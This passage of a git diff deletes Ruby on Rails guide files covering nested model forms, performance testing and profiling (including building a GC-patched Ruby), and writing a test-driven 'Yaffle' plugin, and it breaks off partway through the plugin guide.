-</erb>
-
-This will generate the following html:
-
-<html>
-<form action="/people" class="new_person" id="new_person" method="post">
- <input id="person_name" name="person[name]" size="30" type="text" />
-</form>
-</html>
-
-h5. Nested form for a single associated object
-
-Now add a nested form for the +address+ association:
-
-<erb>
-<%= form_for @person do |f| %>
- <%= f.text_field :name %>
-
- <%= f.fields_for :address do |af| %>
- <%= af.text_field :street %>
- <% end %>
-<% end %>
-</erb>
-
-This generates:
-
-<html>
-<form action="/people" class="new_person" id="new_person" method="post">
- <input id="person_name" name="person[name]" size="30" type="text" />
-
- <input id="person_address_attributes_street" name="person[address_attributes][street]" size="30" type="text" />
-</form>
-</html>
-
-Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be built by the way it has namespaced the +name+ attribute.
-
-When this form is posted the Rails parameter parser will construct a hash like the following:
-
-<ruby>
-{
- "person" => {
- "name" => "Eloy Duran",
- "address_attributes" => {
- "street" => "Nieuwe Prinsengracht"
- }
- }
-}
-</ruby>
-
-That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved.
-
-h5. Nested form for a collection of associated objects
-
-The form code for an association collection is pretty similar to that of a single associated object:
-
-<erb>
-<%= form_for @person do |f| %>
- <%= f.text_field :name %>
-
- <%= f.fields_for :projects do |pf| %>
- <%= pf.text_field :name %>
- <% end %>
-<% end %>
-</erb>
-
-Which generates:
-
-<html>
-<form action="/people" class="new_person" id="new_person" method="post">
- <input id="person_name" name="person[name]" size="30" type="text" />
-
- <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" size="30" type="text" />
- <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" size="30" type="text" />
-</form>
-</html>
-
-As you can see it has generated 2 +project name+ inputs, one for each new +project+ that was built in the controller's +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
-
-<ruby>
-{
- "person" => {
- "name" => "Eloy Duran",
- "projects_attributes" => {
- "0" => { "name" => "Project 1" },
- "1" => { "name" => "Project 2" }
- }
- }
-}
-</ruby>
-
-You can basically see the +projects_attributes+ hash as an array of attribute hashes, one for each model instance.
-
-NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
-
-TIP: You _can_ however pass an array to the writer method generated by +accepts_nested_attributes_for+ if you're using plain Ruby or some other API access. See (TODO) for more info and example.
diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile
deleted file mode 100644
index f3ea7e38bc..0000000000
--- a/railties/guides/source/performance_testing.textile
+++ /dev/null
@@ -1,597 +0,0 @@
-h2. Performance Testing Rails Applications
-
-This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:
-
-* Understand the various types of benchmarking and profiling metrics
-* Generate performance and benchmarking tests
-* Install and use a GC-patched Ruby binary to measure memory usage and object allocation
-* Understand the benchmarking information provided by Rails inside the log files
-* Learn about various tools facilitating benchmarking and profiling
-
-Performance testing is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.
-
-endprologue.
-
-h3. Performance Test Cases
-
-Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application's memory or speed problems are coming from, and get a more in-depth picture of those problems.
-
-In a freshly generated Rails application, +test/performance/browsing_test.rb+ contains an example of a performance test:
-
-<ruby>
-require 'test_helper'
-require 'rails/performance_test_help'
-
-# Profiling results for each test method are written to tmp/performance.
-class BrowsingTest < ActionDispatch::PerformanceTest
- def test_homepage
- get '/'
- end
-end
-</ruby>
-
-This example is a simple performance test case for profiling a GET request to the application's homepage.
-
-h4. Generating Performance Tests
-
-Rails provides a generator called +performance_test+ for creating new performance tests:
-
-<shell>
-$ rails generate performance_test homepage
-</shell>
-
-This generates +homepage_test.rb+ in the +test/performance+ directory:
-
-<ruby>
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class HomepageTest < ActionDispatch::PerformanceTest
- # Replace this with your real tests.
- def test_homepage
- get '/'
- end
-end
-</ruby>
-
-h4. Examples
-
-Let's assume your application has the following controller and model:
-
-<ruby>
-# routes.rb
-root :to => 'home#index'
-resources :posts
-
-# home_controller.rb
-class HomeController < ApplicationController
- def dashboard
- @users = User.last_ten.includes(:avatars)
- @posts = Post.all_today
- end
-end
-
-# posts_controller.rb
-class PostsController < ApplicationController
- def create
- @post = Post.create(params[:post])
- redirect_to(@post)
- end
-end
-
-# post.rb
-class Post < ActiveRecord::Base
- before_save :recalculate_costly_stats
-
- def slow_method
- # I fire gallzilion queries sleeping all around
- end
-
- private
-
- def recalculate_costly_stats
- # CPU heavy calculations
- end
-end
-</ruby>
-
-h5. Controller Example
-
-Because performance tests are a special kind of integration test, you can use the +get+ and +post+ methods in them.
-
-Here's the performance test for +HomeController#dashboard+ and +PostsController#create+:
-
-<ruby>
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class PostPerformanceTest < ActionDispatch::PerformanceTest
- def setup
- # Application requires logged-in user
- login_as(:lifo)
- end
-
- def test_homepage
- get '/dashboard'
- end
-
- def test_creating_new_post
- post '/posts', :post => { :body => 'lifo is fooling you' }
- end
-end
-</ruby>
-
-You can find more details about the +get+ and +post+ methods in the "Testing Rails Applications":testing.html guide.
-
-h5. Model Example
-
-Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.
-
-Performance test for +Post+ model:
-
-<ruby>
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class PostModelTest < ActionDispatch::PerformanceTest
- def test_creation
- Post.create :body => 'still fooling you', :cost => '100'
- end
-
- def test_slow_method
- # Using posts(:awesome) fixture
- posts(:awesome).slow_method
- end
-end
-</ruby>
-
-h4. Modes
-
-Performance tests can be run in two modes: Benchmarking and Profiling.
-
-h5. Benchmarking
-
-Benchmarking makes it easy to quickly gather a few metrics about each test tun. By default, each test case is run *4 times* in benchmarking mode.
-
-To run performance tests in benchmarking mode:
-
-<shell>
-$ rake test:benchmark
-</shell>
-
-h5. Profiling
-
-Profiling allows you to make an in-depth analysis of each of your tests by using an external profiler. Depending on your Ruby interpreter, this profiler can be native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each test case is run *once* in profiling mode.
-
-To run performance tests in profiling mode:
-
-<shell>
-$ rake test:profile
-</shell>
-
-h4. Metrics
-
-Benchmarking and profiling run performance tests and give you multiple metrics. The availability of each metric is determined by the interpreter being used—none of them support all metrics—and by the mode in use. A brief description of each metric and their availability across interpreters/modes is given below.
-
-h5. Wall Time
-
-Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.
-
-h5. Process Time
-
-Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.
-
-h5. CPU Time
-
-Similar to process time, but leverages the more accurate CPU clock counter available on the Pentium and PowerPC platforms.
-
-h5. User Time
-
-User time measures the amount of time the CPU spent in user-mode, i.e. within the process. This is not affected by other processes and by the time it possibly spends blocked.
-
-h5. Memory
-
-Memory measures the amount of memory used for the performance test case.
-
-h5. Objects
-
-Objects measures the number of objects allocated for the performance test case.
-
-h5. GC Runs
-
-GC Runs measures the number of times GC was invoked for the performance test case.
-
-h5. GC Time
-
-GC Time measures the amount of time spent in GC for the performance test case.
-
-h5. Metric Availability
-
-h6(#benchmarking_1). Benchmarking
-
-|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
-|_.MRI | yes | yes | yes | no | yes | yes | yes | yes |
-|_.REE | yes | yes | yes | no | yes | yes | yes | yes |
-|_.Rubinius | yes | no | no | no | yes | yes | yes | yes |
-|_.JRuby | yes | no | no | yes | yes | yes | yes | yes |
-
-h6(#profiling_1). Profiling
-
-|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
-|_.MRI | yes | yes | no | no | yes | yes | yes | yes |
-|_.REE | yes | yes | no | no | yes | yes | yes | yes |
-|_.Rubinius | yes | no | no | no | no | no | no | no |
-|_.JRuby | yes | no | no | no | no | no | no | no |
-
-NOTE: To profile under JRuby you'll need to run +export JRUBY_OPTS="-Xlaunch.inproc=false --profile.api"+ *before* the performance tests.
-
-h4. Understanding the Output
-
-Performance tests generate different outputs inside +tmp/performance+ directory depending on their mode and metric.
-
-h5(#output-benchmarking). Benchmarking
-
-In benchmarking mode, performance tests generate two types of outputs.
-
-h6(#output-command-line). Command Line
-
-This is the primary form of output in benchmarking mode. Example:
-
-<shell>
-BrowsingTest#test_homepage (31 ms warmup)
- wall_time: 6 ms
- memory: 437.27 KB
- objects: 5,514
- gc_runs: 0
- gc_time: 19 ms
-</shell>
-
-h6. CSV Files
-
-Performance test results are also appended to +.csv+ files inside +tmp/performance+. For example, running the default +BrowsingTest#test_homepage+ will generate following five files:
-
-* BrowsingTest#test_homepage_gc_runs.csv
-* BrowsingTest#test_homepage_gc_time.csv
-* BrowsingTest#test_homepage_memory.csv
-* BrowsingTest#test_homepage_objects.csv
-* BrowsingTest#test_homepage_wall_time.csv
-
-As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.
-
-Sample output of +BrowsingTest#test_homepage_wall_time.csv+:
-
-<shell>
-measurement,created_at,app,rails,ruby,platform
-0.00738224999999992,2009-01-08T03:40:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00755874999999984,2009-01-08T03:46:18Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00762099999999993,2009-01-08T03:49:25Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00603075000000008,2009-01-08T04:03:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00619899999999995,2009-01-08T04:03:53Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00755449999999991,2009-01-08T04:04:55Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00595999999999997,2009-01-08T04:05:06Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00740450000000004,2009-01-09T03:54:47Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00603150000000008,2009-01-09T03:54:57Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00771250000000012,2009-01-09T15:46:03Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-</shell>
-
-h5(#output-profiling). Profiling
-
-In profiling mode, performance tests can generate multiple types of outputs. The command line output is always presented but support for the others is dependent on the interpreter in use. A brief description of each type and their availability across interpreters is given below.
-
-h6. Command Line
-
-This is a very basic form of output in profiling mode:
-
-<shell>
-BrowsingTest#test_homepage (58 ms warmup)
- process_time: 63 ms
- memory: 832.13 KB
- objects: 7,882
-</shell>
-
-h6. Flat
-
-Flat output shows the metric—time, memory, etc—measure in each method. "Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html.
-
-h6. Graph
-
-Graph output shows the metric measure in each method, which methods call it and which methods it calls. "Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html.
-
-h6. Tree
-
-Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html and similar tools.
-
-h6. Output Availability
-
-|_. |_.Flat|_.Graph|_.Tree|
-|_.MRI | yes | yes | yes |
-|_.REE | yes | yes | yes |
-|_.Rubinius | yes | yes | no |
-|_.JRuby | yes | yes | no |
-
-h4. Tuning Test Runs
-
-Test runs can be tuned by setting the +profile_options+ class variable on your test class.
-
-<ruby>
-require 'test_helper'
-require 'rails/performance_test_help'
-
-# Profiling results for each test method are written to tmp/performance.
-class BrowsingTest < ActionDispatch::PerformanceTest
- self.profile_options = { :runs => 5,
- :metrics => [:wall_time, :memory] }
-
- def test_homepage
- get '/'
- end
-end
-</ruby>
-
-In this example, the test would run 5 times and measure wall time and memory. There are a few configurable options:
-
-|_.Option |_.Description|_.Default|_.Mode|
-|+:runs+ |Number of runs.|Benchmarking: 4, Profiling: 1|Both|
-|+:output+ |Directory to use when writing the results.|+tmp/performance+|Both|
-|+:metrics+ |Metrics to use.|See below.|Both|
-|+:formats+ |Formats to output to.|See below.|Profiling|
-
-Metrics and formats have different defaults depending on the interpreter in use.
-
-|_.Interpreter|_.Mode|_.Default metrics|_.Default formats|
-|/2.MRI/REE |Benchmarking|+[:wall_time, :memory, :objects, :gc_runs, :gc_time]+|N/A|
-|Profiling |+[:process_time, :memory, :objects]+|+[:flat, :graph_html, :call_tree, :call_stack]+|
-|/2.Rubinius|Benchmarking|+[:wall_time, :memory, :objects, :gc_runs, :gc_time]+|N/A|
-|Profiling |+[:wall_time]+|+[:flat, :graph]+|
-|/2.JRuby |Benchmarking|+[:wall_time, :user_time, :memory, :gc_runs, :gc_time]+|N/A|
-|Profiling |+[:wall_time]+|+[:flat, :graph]+|
-
-As you've probably noticed by now, metrics and formats are specified using a symbol array with each name "underscored.":http://api.rubyonrails.org/classes/String.html#method-i-underscore
-
-h4. Performance Test Environment
-
-Performance tests are run in the +test+ environment. But running performance tests will set the following configuration parameters:
-
-<shell>
-ActionController::Base.perform_caching = true
-ActiveSupport::Dependencies.mechanism = :require
-Rails.logger.level = ActiveSupport::BufferedLogger::INFO
-</shell>
-
-As +ActionController::Base.perform_caching+ is set to +true+, performance tests will behave much as they do in the +production+ environment.
-
-h4. Installing GC-Patched MRI
-
-To get the best from Rails' performance tests under MRI, you'll need to build a special Ruby binary with some super powers.
-
-The recommended patches for each MRI version are:
-
-|_.Version|_.Patch|
-|1.8.6|ruby186gc|
-|1.8.7|ruby187gc|
-|1.9.2 and above|gcdata|
-
-All of these can be found on "RVM's _patches_ directory":https://github.com/wayneeseguin/rvm/tree/master/patches/ruby under each specific interpreter version.
-
-Concerning the installation itself, you can either do this easily by using "RVM":http://rvm.beginrescueend.com or you can build everything from source, which is a little bit harder.
-
-h5. Install Using RVM
-
-The process of installing a patched Ruby interpreter is very easy if you let RVM do the hard work. All of the following RVM commands will provide you with a patched Ruby interpreter:
-
-<shell>
-$ rvm install 1.9.2-p180 --patch gcdata
-$ rvm install 1.8.7 --patch ruby187gc
-$ rvm install 1.9.2-p180 --patch ~/Downloads/downloaded_gcdata_patch.patch
-</shell>
-
-You can even keep your regular interpreter by assigning a name to the patched one:
-
-<shell>
-$ rvm install 1.9.2-p180 --patch gcdata --name gcdata
-$ rvm use 1.9.2-p180 # your regular ruby
-$ rvm use 1.9.2-p180-gcdata # your patched ruby
-</shell>
-
-And it's done! You have installed a patched Ruby interpreter.
-
-h5. Install From Source
-
-This process is a bit more complicated, but straightforward nonetheless. If you've never compiled a Ruby binary before, follow these steps to build a Ruby binary inside your home directory.
-
-h6. Download and Extract
-
-<shell>
-$ mkdir rubygc
-$ wget <the version you want from ftp://ftp.ruby-lang.org/pub/ruby>
-$ tar -xzvf <ruby-version.tar.gz>
-$ cd <ruby-version>
-</shell>
-
-h6. Apply the Patch
-
-<shell>
-$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.9.2/p180/gcdata.patch | patch -p0 # if you're on 1.9.2!
-$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.8.7/ruby187gc.patch | patch -p0 # if you're on 1.8.7!
-</shell>
-
-h6. Configure and Install
-
-The following will install Ruby in your home directory's +/rubygc+ directory. Make sure to replace +&lt;homedir&gt;+ with a full patch to your actual home directory.
-
-<shell>
-$ ./configure --prefix=/<homedir>/rubygc
-$ make && make install
-</shell>
-
-h6. Prepare Aliases
-
-For convenience, add the following lines in your +~/.profile+:
-
-<shell>
-alias gcruby='~/rubygc/bin/ruby'
-alias gcrake='~/rubygc/bin/rake'
-alias gcgem='~/rubygc/bin/gem'
-alias gcirb='~/rubygc/bin/irb'
-alias gcrails='~/rubygc/bin/rails'
-</shell>
-
-Don't forget to use your aliases from now on.
-
-h6. Install RubyGems (1.8 only!)
-
-Download "RubyGems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above.
-
-h4. Using Ruby-Prof on MRI and REE
-
-Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile under MRI or REE:
-
-<ruby>
-gem 'ruby-prof', :path => 'git://github.com/wycats/ruby-prof.git'
-</ruby>
-
-Now run +bundle install+ and you're ready to go.
-
-h3. Command Line Tools
-
-Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:
-
-h4. +benchmarker+
-
-Usage:
-
-<shell>
-Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]
- -r, --runs N Number of runs.
- Default: 4
- -o, --output PATH Directory to use when writing the results.
- Default: tmp/performance
- -m, --metrics a,b,c Metrics to use.
- Default: wall_time,memory,objects,gc_runs,gc_time
-</shell>
-
-Example:
-
-<shell>
-$ rails benchmarker 'Item.all' 'CouchItem.all' --runs 3 --metrics wall_time,memory
-</shell>
-
-h4. +profiler+
-
-Usage:
-
-<shell>
-Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS]
- -r, --runs N Number of runs.
- Default: 1
- -o, --output PATH Directory to use when writing the results.
- Default: tmp/performance
- --metrics a,b,c Metrics to use.
- Default: process_time,memory,objects
- -m, --formats x,y,z Formats to output to.
- Default: flat,graph_html,call_tree
-</shell>
-
-Example:
-
-<shell>
-$ rails profiler 'Item.all' 'CouchItem.all' --runs 2 --metrics process_time --formats flat
-</shell>
-
-NOTE: Metrics and formats vary from interpreter to interpreter. Pass +--help+ to each tool to see the defaults for your interpreter.
-
-h3. Helper Methods
-
-Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called +benchmark()+ in all the three components.
-
-h4. Model
-
-<ruby>
-Project.benchmark("Creating project") do
- project = Project.create("name" => "stuff")
- project.create_manager("name" => "David")
- project.milestones << Milestone.all
-end
-</ruby>
-
-This benchmarks the code enclosed in the +Project.benchmark("Creating project") do...end+ block and prints the result to the log file:
-
-<ruby>
-Creating project (185.3ms)
-</ruby>
-
-Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001336 for additional options to +benchmark()+
-
-h4. Controller
-
-Similarly, you could use this helper method inside "controllers":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715
-
-<ruby>
-def process_projects
- self.class.benchmark("Processing projects") do
- Project.process(params[:project_ids])
- Project.update_cached_projects
- end
-end
-</ruby>
-
-NOTE: +benchmark+ is a class method inside controllers
-
-h4. View
-
-And in "views":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715:
-
-<erb>
-<% benchmark("Showing projects partial") do %>
- <%= render @projects %>
-<% end %>
-</erb>
-
-h3. Request Logging
-
-Rails log files contain very useful information about the time taken to serve each request. Here's a typical log file entry:
-
-<shell>
-Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
-Rendering template within layouts/items
-Rendering items/index
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-</shell>
-
-For this section, we're only interested in the last line:
-
-<shell>
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-</shell>
-
-This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measure the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
-
-Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second explaining the importance of using milliseconds as the metric.
-
-h3. Useful Links
-
-h4. Rails Plugins and Gems
-
-* "Rails Analyzer":http://rails-analyzer.rubyforge.org
-* "Palmist":http://www.flyingmachinestudios.com/programming/announcing-palmist
-* "Rails Footnotes":https://github.com/josevalim/rails-footnotes/tree/master
-* "Query Reviewer":https://github.com/dsboulder/query_reviewer/tree/master
-
-h4. Generic Tools
-
-* "httperf":http://www.hpl.hp.com/research/linux/httperf/
-* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html
-* "JMeter":http://jakarta.apache.org/jmeter/
-* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
-
-h4. Tutorials and Documentation
-
-* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org
-* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs
-
-h3. Commercial Products
-
-Rails has been lucky to have a few companies dedicated to Rails-specific performance tools. A couple of those are:
-
-* "New Relic":http://www.newrelic.com
-* "Scout":http://scoutapp.com
diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile
deleted file mode 100644
index 5cfd336d1e..0000000000
--- a/railties/guides/source/plugins.textile
+++ /dev/null
@@ -1,464 +0,0 @@
-h2. The Basics of Creating Rails Plugins
-
-A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
-
-* a way for developers to share bleeding-edge ideas without hurting the stable code base
-* a segmented architecture so that units of code can be fixed or updated on their own release schedule
-* an outlet for the core developers so that they don’t have to include every cool new feature under the sun
-
-After reading this guide you should be familiar with:
-
-* Creating a plugin from scratch
-* Writing and running tests for the plugin
-
-This guide describes how to build a test-driven plugin that will:
-
-* Extend core ruby classes like Hash and String
-* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins
-* Give you information about where to put generators in your plugin.
-
-For the purpose of this guide pretend for a moment that you are an avid bird watcher.
-Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle
-goodness.
-
-endprologue.
-
-h3. Setup
-
-Before you continue, take a moment to decide if your new plugin will be potentially shared across different Rails applications.
-
-* If your plugin is specific to your application, your new plugin will be a _vendored plugin_.
-* If you think your plugin may be used across applications, build it as a _gemified plugin_.
-
-h4. Either generate a vendored plugin...
-
-Use the +rails generate plugin+ command in your Rails root directory
- to create a new plugin that will live in the +vendor/plugins+
- directory. See usage and options by asking for help:
-
-<shell>
-$ rails generate plugin --help
-</shell>
-
-h4. Or generate a gemified plugin.
-
-Writing your Rails plugin as a gem, rather than as a vendored plugin,
- lets you share your plugin across different rails applications using
- RubyGems and Bundler.
-
-Rails 3.1 ships with a +rails plugin new+ command which creates a
- skeleton for developing any kind of Rails extension with the ability
- to run integration tests using a dummy Rails application. See usage
- and options by asking for help:
-
-<shell>
-$ rails plugin --help
-</shell>
-
-h3. Testing your newly generated plugin
-
-You can navigate to the directory that contains the plugin, run the +bundle install+ command
- and run the one generated test using the +rake+ command.
-
-You should see:
-
-<shell>
- 2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
-</shell>
-
-This will tell you that everything got generated properly and you are ready to start adding functionality.
-
-h3. Extending Core Classes
-
-This section will explain how to add a method to String that will be available anywhere in your rails application.
-
-In this example you will add a method to String named +to_squawk+. To begin, create a new test file with a few assertions:
-
-<ruby>
-# yaffle/test/core_ext_test.rb
-
-require 'test_helper'
-
-class CoreExtTest < Test::Unit::TestCase
- def test_to_squawk_prepends_the_word_squawk
- assert_equal "squawk! Hello World", "Hello World".to_squawk
- end
-end
-</ruby>
-
-Run +rake+ to run the test. This test should fail because we haven't implemented the +to_squawk+ method:
-
-<shell>
- 1) Error:
- test_to_squawk_prepends_the_word_squawk(CoreExtTest):
- NoMethodError: undefined method `to_squawk' for "Hello World":String
- test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
-</shell>
-
-Great - now you are ready to start development.
-
-Then in +lib/yaffle.rb+ require +lib/core_ext+:
-
-<ruby>
-# yaffle/lib/yaffle.rb
-
-require "yaffle/core_ext"
-
-module Yaffle
-end
-</ruby>
-
-Finally, create the +core_ext.rb+ file and add the +to_squawk+ method:
-
-<ruby>
-# yaffle/lib/yaffle/core_ext.rb
-
-String.class_eval do
- def to_squawk
- "squawk! #{self}".strip
- end
-end
-</ruby>
-
-To test that your method does what it says it does, run the unit tests with +rake+ from your plugin directory.
-
-<shell>
- 3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
-</shell>
-
-To see this in action, change to the test/dummy directory, fire up a console and start squawking:
-
-<shell>
-$ rails console
->> "Hello World".to_squawk
-=> "squawk! Hello World"
-</shell>
-
-h3. Add an "acts_as" Method to Active Record
-
-A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you
-want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models.
-
-To begin, set up your files so that you have:
-
-<ruby>
-# yaffle/test/acts_as_yaffle_test.rb
-
-require 'test_helper'
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-end
-</ruby>
-
-<ruby>
-# yaffle/lib/yaffle.rb
-
-require "yaffle/core_ext"
-require 'yaffle/acts_as_yaffle'
-
-module Yaffle
-end
-</ruby>
-
-<ruby>
-# yaffle/lib/yaffle/acts_as_yaffle.rb
-
-module Yaffle
- module ActsAsYaffle
- # your code will go here
- end
-end
-</ruby>
-
-h4. Add a Class Method
-
-This plugin will expect that you've added a method to your model named 'last_squawk'. However, the
-plugin users might have already defined a method on their model named 'last_squawk' that they use
-for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
-
-To start out, write a failing test that shows the behavior you'd like:
-
-<ruby>
-# yaffle/test/acts_as_yaffle_test.rb
-
-require 'test_helper'
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-
- def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
- assert_equal "last_squawk", Hickwall.yaffle_text_field
- end
-
- def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
- assert_equal "last_tweet", Wickwall.yaffle_text_field
- end
-
-end
-</ruby>
-
-When you run +rake+, you should see the following:
-
-<shell>
- 1) Error:
- test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
- NameError: uninitialized constant ActsAsYaffleTest::Hickwall
- test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
-
- 2) Error:
- test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
- NameError: uninitialized constant ActsAsYaffleTest::Wickwall
- test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
-
- 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
-</shell>
-
-This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
-We can easily generate these models in our "dummy" Rails application by running the following commands from the
-test/dummy directory:
-
-<shell>
-$ cd test/dummy
-$ rails generate model Hickwall last_squawk:string
-$ rails generate model Wickwall last_squawk:string last_tweet:string
-</shell>
-
-Now you can create the necessary database tables in your testing database by navigating to your dummy app
-and migrating the database. First
-
-<shell>
-$ cd test/dummy
-$ rake db:migrate
-$ rake db:test:prepare
-</shell>
-
-While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
-like yaffles.
-
-<ruby>
-# test/dummy/app/models/hickwall.rb
-
-class Hickwall < ActiveRecord::Base
- acts_as_yaffle
-end
-
-# test/dummy/app/models/wickwall.rb
-
-class Wickwall < ActiveRecord::Base
- acts_as_yaffle :yaffle_text_field => :last_tweet
-end
-
-</ruby>
-
-We will also add code to define the acts_as_yaffle method.
-
-<ruby>
-# yaffle/lib/yaffle/acts_as_yaffle.rb
-module Yaffle
- module ActsAsYaffle
- extend ActiveSupport::Concern
-
- included do
- end
-
- module ClassMethods
- def acts_as_yaffle(options = {})
- # your code will go here
- end
- end
- end
-end
-
-ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
-
-You can then return to the root directory (+cd ../..+) of your plugin and rerun the tests using +rake+.
-
-<shell>
- 1) Error:
- test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
- NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
- /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
- test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
-
- 2) Error:
- test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
- NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
- Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
- test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
-
- 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
-
-</shell>
-
-Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
-
-<ruby>
-# yaffle/lib/yaffle/acts_as_yaffle.rb
-
-module Yaffle
- module ActsAsYaffle
- extend ActiveSupport::Concern
-
- included do
- end
-
- module ClassMethods
- def acts_as_yaffle(options = {})
- cattr_accessor :yaffle_text_field
- self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
- end
- end
- end
-end
-
-ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
-
-When you run +rake+ you should see the tests all pass:
-
-<shell>
- 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
-</shell>
-
-h4. Add an Instance Method
-
-This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
-method will simply set the value of one of the fields in the database.
-
-To start out, write a failing test that shows the behavior you'd like:
-
-<ruby>
-# yaffle/test/acts_as_yaffle_test.rb
-require 'test_helper'
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-
- def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
